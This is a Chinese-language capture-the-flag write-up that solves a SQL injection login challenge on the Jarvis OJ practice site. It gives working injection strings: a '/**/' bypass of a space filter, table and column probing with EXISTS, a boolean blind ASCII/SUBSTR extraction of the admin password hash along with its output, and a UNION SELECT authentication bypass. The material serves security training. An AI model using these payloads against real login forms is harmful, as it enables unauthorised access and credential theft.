题目说明
题目来源: www.jarvisoj.com
直达: http://web.jarvisoj.com:32787
题目分析
看到题目给出一个登录界面,首先查看源代码和burpsuite抓包,没有发现特别的东西,应该就是一个登录型SQL注入
常见的登录漏洞代码
同时验证用户名和密码
1 | $sql = select * from users where username=$usernmae and password=$password |
分布验证用户名和密码
1 | $sql = "select password from users where username='$username'" |
尝试使用 username=admin&password=123456
, 页面返回 密码错误
尝试使用 username=user&password=123456
, 页面返回 用户名错误
说明此题的验证方式采用分布验证用户名和密码
解题步骤
注入判断
- 使用
username=admin'#&password=123456
,页面返回密码错误
,说明后台没有对'
和#
进行过滤 - 使用
username=admin' or 1=1#&password=123456
,页面返回用户名错误
,说明后台对admin' or 1=1#
中部分内容进行了过滤 - 使用
username=admin'/**/or/**/1=1#&password=123456
,页面返回密码错误
,标明输入的SQL语句被执行,说明后台过滤了空格 - 总结,过滤了空格,username存在SQL注入
开始注入
- 查找表,
username=user'/**/or/**/exists(select/**/*/**/from/**/admin)#&password=123456
,页面返回密码错误
,说明数据库中存在admin表 - 查找字段,
username=user'/**/or/**/exists(select/**/username,password/**/from/**/admin)#&password=123456
,页面返回密码错误
,说明admin表中存在username和password字段 - 获取记录数量,
username=user'/**/or/**/exists(select/**/count(*)/**/from/**/admin)#&password=123456
,页面返回密码错误
,说明在admin表中只存在一条记录
知道了表名、字段、一条数据,接下利用Python爆破
解题代码
Python3
1 | #!/usr/bin/env python |
运行结果
盲注开始...
password字段长度: 32
1 user'/**/or/**/ascii(substr((select/**/password/**/from/**/admin),1,1)) = 51# 3
...
32 user'/**/or/**/ascii(substr((select/**/password/**/from/**/admin),32,1)) = 51# 334cfb59c9d74849801d5acdcfdaadc3
password字段数据: 334cfb59c9d74849801d5acdcfdaadc3
通过Python脚本可以知道
password
长度为32位 可能是MD5 SHA加密password
数据为334cfb59c9d74849801d5acdcfdaadc3
获取FLAG
一、MD5解密
334cfb59c9d74849801d5acdcfdaadc3
md5解密得 eTAloCrEP
,输入正确的用户名密码就能拿到flag
二、构架SQL语句
username=user'/**/union/**/select/**/'c4ca4238a0b923820dcc509a6f75849b'#&password=1